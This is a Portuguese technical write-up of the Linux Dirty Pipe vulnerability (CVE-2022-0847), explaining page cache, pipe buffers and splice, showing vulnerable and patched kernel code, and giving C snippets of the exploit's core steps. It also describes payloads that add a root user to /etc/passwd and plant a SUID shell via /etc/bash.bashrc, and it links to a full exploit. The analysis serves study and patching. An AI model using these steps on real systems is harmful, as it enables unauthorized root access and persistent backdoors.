
Exploiting CVE-2022-0847 - written by : Antonius (w1sdom)
Dirty Pipe (CVE-2022-0847) é uma das vulnerabilidades de segurança mais significativas no Kernel Linux 5.8 – 5.15.24, descoberta por Max Kellermann em 2022. Esta vulnerabilidade permite que usuários comuns (sem privilégios especiais) sobrescrevam dados em arquivos que deveriam ser somente leitura. Entendendo Conceitos Principais
Antes de discutir Dirty Pipe em detalhes, aqui estão alguns conceitos internos do kernel Linux que precisam ser compreendidos:
1. Paginação (Paging)
Paginação é um mecanismo de gerenciamento de memória no kernel Linux onde o sistema de memória divide a memória física em pequenos blocos de tamanho fixo chamados page frames, e a memória virtual é dividida em blocos do mesmo tamanho chamados páginas.
Esse mecanismo permite que o kernel mapeie o espaço de endereço virtual dos processos para a memória física de forma não sequencial, o que é crucial para eficiência e segurança em sistemas modernos.
2. Página (Memória Virtual)
No Linux, uma página é a menor unidade de gerenciamento de memória física manipulada pelo kernel.
Analogia: A RAM é como um livro gigante. Uma página é uma folha de papel naquele livro. O kernel não move dados bit a bit, mas sim folha por folha (página por página).
Geralmente, em arquiteturas de sistemas modernos (como x86_64), o tamanho padrão de uma página é 4 KB (4096 bytes).
3. Page Cache (Cache de Páginas)
Esta é uma parte crucial. O Linux não lê arquivos diretamente do disco toda vez porque é lento. O kernel copia o conteúdo dos arquivos na RAM chamada Page Cache.
4. Pipe Buffer (Buffer de Pipe)
Pipe é um mecanismo de Comunicação entre Processos (IPC). Internamente, o kernel gerencia pipes usando a estrutura de dados pipe_inode_info. Os dados dentro de um pipe são armazenados em um "buffer" chamado Pipe Buffer.
5. Flag do Pipe Buffer (PIPE_BUF_FLAG_CAN_MERGE)
A flag PIPE_BUF_FLAG_CAN_MERGE foi introduzida no Kernel Linux versão 5.8.
É aqui que reside a principal vulnerabilidade. A flag chamada PIPE_BUF_FLAG_CAN_MERGE.
6. Splice
splice() é uma syscall para mover dados entre dois descritores de arquivo sem copiar os dados entre o espaço do kernel e o espaço do usuário. Isso é frequentemente chamado de mecanismo Zero-copy.
A syscall splice() é o "ator principal" no Dirty Pipe:
7. Copy on Write (CoW)
O mecanismo Copy-on-Write (CoW) é uma estratégia de otimização de gerenciamento de memória usada pelo kernel Linux para adiar a cópia de dados até que seja absolutamente necessário.
A relação entre Copy-on-Write (CoW) e o exploit Dirty Pipe (CVE-2022-0847) é sobre como um pequeno bug no kernel Linux "engana" com sucesso o mecanismo CoW, permitindo que dados sejam escritos em arquivos que deveriam ser somente leitura.
8. Dirty Page (Página Suja)
Uma dirty page é uma página de memória na RAM que foi modificada por uma aplicação, mas as alterações ainda não foram gravadas de volta no armazenamento secundário (como SSD ou disco rígido).
Análise da Vulnerabilidade Dirty Pipe
Dirty Pipe é um tipo de bug de lógica no tratamento do pipe buffer no kernel Linux 5.8 até o kernel Linux 5.15.24. O principal problema está no mecanismo Pipe (canal de comunicação entre processos) e como o kernel gerencia o Page Cache (memória que armazena cópias de dados de arquivos do disco). A questão central é um bug na flag PIPE_BUF_FLAG_CAN_MERGE.
O principal problema reside na falha do kernel em redefinir adequadamente essa flag (bug de lógica). Aqui está a análise do código: Nas funções copy_page_to_iter_pipe e push_to_pipe no kernel Linux anterior à versão 5.16.11, ao realizar operações splice, o kernel prepara a estrutura pipe_buffer mas esquece de limpar o membro .flags.
Estrutura de Código Vulnerável:
// Local do problema: fs/pipe.c ou include/linux/pipe_fs_i.h
struct pipe_buffer {
struct page *page;
unsigned int offset, len;
const struct pipe_buf_operations *ops;
unsigned int flags; // <--- ESTA FLAG NÃO É REDEFINIDA
unsigned long private;
};
Código Antes do Patch (Vulnerável):
// lib/iov_iter.c - Antes do patch do CVE-2022-0847
static size_t copy_page_to_iter_pipe(struct page *page,
size_t offset, size_t bytes, struct iov_iter *i) {
// ---------snip-----------
struct pipe_buffer *buf = &pipe->bufs[head & mask];
buf->ops = &page_cache_pipe_buf_ops;
buf->page = page;
buf->offset = offset;
buf->len = bytes;
// PROBLEMA: buf->flags NÃO É TOCADO
// --------snip----------------------
}
Código Após o Patch (Corrigido):
buf->ops = &page_cache_pipe_buf_ops; buf->page = page; buf->offset = offset; buf->len = bytes; buf->flags = 0; // <--- REDEFINIÇÃO TOTAL PARA ZERO
Por que buf->flags = 0 é melhor do que apenas desligar uma flag específica? Porque pipe_buffer é uma estrutura reutilizada. Se apenas desligarmos uma flag (CAN_MERGE), outras flags lixo de usos anteriores do pipe (como PIPE_BUF_FLAG_GIFT ou outras flags personalizadas) podem permanecer e causar comportamento estranho ou novas falhas de segurança no futuro. Definir como 0 garante que o buffer esteja em um estado completamente "limpo".
Por que Isso Pode Ser Explorado?
Aqui está o fluxo de exploração do Dirty Pipe:
1. Estágio de Poluição: O invasor insere dados no pipe via write(). Uma operação write() normal define buf->flags = PIPE_BUF_FLAG_CAN_MERGE.
2. Estágio de Drenagem: O invasor lê esses dados. O buffer está agora logicamente "vazio", mas sua estrutura ainda existe na memória do kernel com a flag CAN_MERGE ainda ativa.
3. Estágio Splice: Quando a syscall splice() mapeia um arquivo somente leitura para o pipe, a função copy_page_to_iter_pipe() é chamada. Devido ao bug acima, ela preenche buf->page com a página de memória do arquivo original, mas não redefine buf->flags.
4. Execução: O kernel pensa que este buffer de arquivo ainda pode ser mesclado. A próxima escrita no pipe não criará um novo buffer, mas na verdade modificará diretamente a página de memória (Page Cache) que foi mapeada anteriormente.
Neste estágio, os dados do invasor já estão armazenados na RAM. Uma página na RAM cujo conteúdo difere do que está no disco é chamada de "Dirty Page". Se este estágio for alcançado com sucesso, significa que a exploração teve sucesso! Uma vez que o Page Cache muda, o efeito é instantâneo. Se sobrescrevermos /etc/passwd na RAM, podemos executar imediatamente su root naquele exato momento.
Exploração do Dirty Pipe
Para a exploração do Dirty Pipe, não precisamos desabilitar nenhuma proteção do kernel, pois todas as proteções do kernel são irrelevantes para prevenir este bug de lógica. Para explorar o bug de lógica do Dirty Page, nosso exploit realizará os seguintes passos:
Passo 1. Prepare o pipe e encha o pipe até o máximo com o objetivo de acionar a flag PIPE_BUF_FLAG_CAN_MERGE.
pipe(p);
int capacity = fcntl(p[1], 1032);
static char dummy[4096];
for (int r = capacity; r > 0; ) {
int n = r > sizeof(dummy) ? sizeof(dummy) : r;
write(p[1], dummy, n);
r -= n;
}
Passo 2. Esvazie o pipe.
for (int r = capacity; r > 0; ) {
int n = r > sizeof(dummy) ? sizeof(dummy) : r;
read(p[0], dummy, n);
r -= n;
}
if (splice(fd, &offset, p[1], NULL, 1, 0) < 0) {
perror("[-] splice falhou");
return 0;
}
write(p[1], payload, strlen(payload));
Código de Exploit Completo para Exploração do Dirty Pipe O código de exploit completo está disponível em https://github.com/bluedragonsecurity/dirtypipe2
Nota: O código de exploit completo contém funções para validação da versão do kernel, preparação do pipe, injeção de payload e dois métodos de exploração diferentes visando /etc/passwd e /etc/bash.bashrc.
Métodos de Exploração
O exploit acima usa 2 payloads diferentes com o objetivo de que, se o primeiro payload falhar, ele será encadeado pelo segundo payload.
Payload 1: Escreve em /etc/passwd para adicionar um novo usuário chamado 'toor' com uid 0. Se este payload tiver sucesso, podemos obter imediatamente um shell root.
Payload 2: Visa deixar um shell SUID bash em /tmp/x. Especificamente para o segundo payload, ele deve esperar que o usuário root do sistema faça login, pois o payload para deixar o shell SUID é injetado em /etc/bash.bashrc. No Linux, os comandos contidos em /etc/bash.bashrc são executados por todo usuário que faz login no sistema no momento do login.
Testando o Exploit
Neste exemplo, usei o kernel Linux 5.13 rodando no Lubuntu 20.04.5 no VirtualBox como sistema operacional convidado e o sistema operacional anfitrião é Kali Linux 2025.4. Na máquina Lubuntu 20.04.5, compile o exploit:
gcc -o dirtypipe2 dirtypipe2.c
./dirtypipe2
Referências